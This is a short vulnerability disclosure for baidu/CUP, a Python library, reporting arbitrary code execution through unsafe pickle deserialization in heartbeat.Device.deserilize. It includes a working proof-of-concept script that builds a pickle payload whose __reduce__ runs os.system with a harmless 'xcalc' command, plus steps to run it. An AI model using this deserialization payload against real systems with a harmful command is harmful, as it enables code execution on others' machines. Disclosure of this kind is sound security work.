Code Injection in baidu/CUP

Valid
Reported on Jan 7th 2021

Description

CUP, common useful python-lib. (Currently, Most popular python lib in baidu)

  • Vulnerability description untrusted loading of data by the pickle.load function leading to Arbitrary code execution.

Proof of Concept

Run exploit.py

import os
import pickle
#os.system('pip3 install cup')
from cup.services import heartbeat
#payload formation
class ArbitraryCode:
    def __reduce__(self):
        cmd = ('xcalc')
        return os.system, (cmd,)
dumps = pickle.dumps(ArbitraryCode())
heartbeat.Device.deserilize(dumps,dumps)
  • pip3 install cup
  • python3 exploit.py